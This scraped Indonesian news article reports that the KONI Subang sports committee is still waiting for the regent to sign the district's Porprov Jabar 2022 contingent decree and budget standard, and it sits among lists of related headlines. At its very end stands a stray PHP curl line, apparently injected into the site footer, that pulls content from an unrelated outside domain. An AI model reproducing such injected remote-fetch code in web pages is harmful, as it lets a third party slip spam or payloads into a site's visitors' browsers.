Jelang 2 Bulan Lagi, Porpov XIV 2022 SK Kontingen Belun Ttd Bupati Subang

Kamis, 4 Agustus 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Subang l Jejakkasus.info – Ketua umum KONI Kab Subang akhirnya menggelar Confrence Pers dengan para media pada Kamis 4 Agustus 2022 bertempat dikantor seketariat KONI Subang.

Pada kesempatan itu Ketum KONI Subang Asep Rochman Dimyati ( ARD ), mengatakan bahwa Menjelang dua bulan kedepan pada tahun 2022, perhelatan Pekan Olahraga Provins (Porprov) Jabar ke – XIV.

Dengan kurun waktu yang tinggal kurang lebih 2 bulan lagi itu maka pada tanggal 8 Juli 2022 lalu telah menyerahkan draf SK seluruh Kontingen Kab Subang kepada pihak Pemerintah Daerah Subang, namun sampai sekarang belum juga ditandatangani oleh Bupati Suban Padahal untuk pengukuhan atlet harus segera dilaksanakanya.

Baca Juga:  Lakalantas di Jalur Tol Cipali Cilameri Subang, Merenggut Korban Jiwa

Jelasnya bahwa KONI Subang dalam menghadapi Porprov mendatang telah melakukan sesuai dengan AD/ART KONI yakni membantu pemerintah daerah dalam membuat kebijakan dalam pengelolaan pembinaan dan olahraga prestasi pada tingkat nasional maupun daerah, itu sudah kami laksanakanya.

Itu Semua dilaksanakam melalui proses tahapan-tahapan yang sesuai dengan tugas pokok dan fungsi KONI. Itu sudah kami laksanakan artinya penyiapan atlet untuk menjadi kontingen Kabupaten Subang pada Porprov Jabar 2022 mendatang sudah didaftarkan by name by Adres

Baca Juga:  Sinergitas Polsek Grujugan bersama Koramil Grujugan Gandeng RPH Wringintapung Adakan Sosialisasi Karhutla

Jadi tinggal menunggu SK dari Bupati Subang dan berjalannya anggaran untuk kontingen tersebut berdasarkan pada Standar Harga Biaya (SHB) yang harus ditandatangani oleh Bupati.

tegas ARD yang namanya kontingen itu mewakili Kabupaten, bukan mewakili KONI masing-masing daerah. Akibat dari belum ditandatanginya SK kontingen termasuk SHB oleh Bupati kami belum bisa melakukan apa-apa,”jelasnya.

Menurutnya, standar harga biaya atau SHB itu memang Pemda yang menentukan bukan KONI.

Untuk itu“Jangan salah paham, artinya dari biaya bayar atlet, pelatih, hotel dan semuanya itu Pemda yang menentukan. Nah kami sudah melakukan tugas kami sesuai dengan Tupoksi KONI sekarang menunggu dari Pemda, karena SK kontingen dan SHB saja belum ada konfirmasi lagi,” ucapnya.

Baca Juga:  Unras LSM AKSI dan Ormas Jampang Pantura Demo Proses Hukum Kantor Kejari Subang

Pada kesemparan itu juga Kabid Binpres KONI Subang, Lutfi Apdani, menanbahkn jika pendaftaran kontingen Porprov Jabar 2022 itu berlangsung pada tanggal 6-12 Agustus ini.

Adapun jumlah kontingen yang harus didaftarkan dari 419 nomor pertandingan ada sebanyak 848 orang, termasuk atlet, official, pelatih, mekanik, dan sebagainya.

” Sedangkan cabang olahraga yang diikuti dari 54 cabang olahraga angota KONI Subang, hanya 44 cabang olahraga yang diikutsertakan,”tuturnya. (Rahmat)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter
Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral
Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah
Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024
DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan
Ketua DPRD Lampung Selatan Erma Yusneli menghadiri upacara tabur HUT Ke-79 TNI tahun 2024
BRI Pringsewu Gelar Panen Hadiah Simpedes 2024, Masyarakat Antusias Bahagia 
Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Berita Terkait

Senin, 7 Oktober 2024 - 00:03 WIB

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter

Minggu, 6 Oktober 2024 - 22:49 WIB

Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral

Minggu, 6 Oktober 2024 - 17:31 WIB

Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah

Minggu, 6 Oktober 2024 - 09:51 WIB

Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024

Sabtu, 5 Oktober 2024 - 21:10 WIB

DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>